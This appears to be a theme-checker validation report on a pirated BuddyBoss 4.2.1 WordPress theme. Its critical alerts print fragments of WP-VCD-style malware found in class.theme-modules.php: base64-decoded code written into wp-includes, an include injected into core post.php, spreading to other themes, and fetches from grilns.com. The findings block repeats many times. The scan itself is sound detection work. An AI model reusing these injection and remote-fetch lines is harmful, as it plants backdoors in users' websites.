Validation results

BuddyBoss 4.2.1 | Shared by VestaThemes.com

12 WARNINGS

BuddyBoss 4.2.1 | Shared by VestaThemes.com

WordPress 6.5.2 theme

CHANGE BANNER STYLE :

THEME TYPEWordPress theme 6.5.2
FILE NAMEbuddyboss.zip
FILE SIZE521050 bytes
MD52a36f2037bcf724d419855cd8309e6ae
SHA17ed50de893b370132522288b8d64f9066164911a
LICENSEGNU GPL 3
FILES INCLUDEDCSS, PHP, Bitmap images
THEME URIhttp://www.buddyboss.com/product/buddyboss-theme/
VERSION4.2.1
AUTHOR URIhttp://www.buddyboss.com
CREATION DATE2019-08-30
LAST FILE UPDATE2019-08-30
LAST VALIDATION2019-08-30 13:29

This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.

Critical alerts

Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file buddyboss-customizer-loader.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.
Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php. 5: ini_set('display_errors', 0);
Security breaches : Use of base64_decode() Found base64_decode in file class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
Malware : Operations on file system file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);

Warning

core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in theme-functions.php. Themes must not deregister core scripts. 281: wp_deregister_script( 'jquery' );
theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is buddyboss-4-2-1-shared-by-vestathemes-com.
Text domain : Incorrect use of translation functions.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are buddyboss, buddypress, boss.
Cdn : Use of CDNFound the URL of a CDN in the code: maxcdn.bootstrapcdn.com/font-awesome. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme.
Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.
Unwanted files : hidden file(s) or folder(s).ds_store was found.
Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file adminbar-mobile.css.
Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
CSS files : Presence of text domainText Domain: is missing from your style.css header.
Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".

Tip-off

Static links : Presence of hard-coded linksPossible hard-coded links were found in the file admin.php.69: <p><a href='http://www.buddyboss.com/affiliates/affiliate-program/' target='_blank'>Ear76: <li><a href='http://www.buddyboss.com/faq/' target='_blank'>Frequently Asked Questions</77: <li><a href='http://www.buddyboss.com/support-forums/' target='_blank'>Support Forums</a78: <li><a href='http://www.buddyboss.com/release-notes/' target='_blank'>Current Version &a79: <li><a href='http://www.buddyboss.com/updating/' target='_blank'>How to Update</a></li>80: <li><a href='http://www.buddyboss.com/child-themes/' target='_blank'>Guide to Child Them
Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
Use of includes : Use of include or requireThe theme appears to use include or require : init.php 140: require_once( $this->inc_dir . '/admin.php' );143: require_once( $this->inc_dir . '/theme-functions.php' );146: require_once( $this->inc_dir . '/buddyboss-customizer/buddyboss-customizer-149: require_once( $this->inc_dir . '/buddyboss-slides/buddyboss-slides-loader.p152: require_once( $this->inc_dir . '/buddyboss-bp-legacy/bp-legacy-loader.php' 155: require_once( $this->inc_dir . '/debug.php' );161: require_once( $this->inc_dir . '/buddyboss-widgets/buddyboss-profile-widget165: require_once( $this->inc_dir . '/wp-updates-theme.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : bp-legacy-loader.php 123: require_once( locate_template( array( 'buddyboss-inc/buddyboss-bp-legacy/te136: require_once( locate_template( array( 'buddyboss-inc/buddyboss-bp-legacy/te If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

Other checked themes

WordPress 6.5.2 theme

VIEW ALL THEMES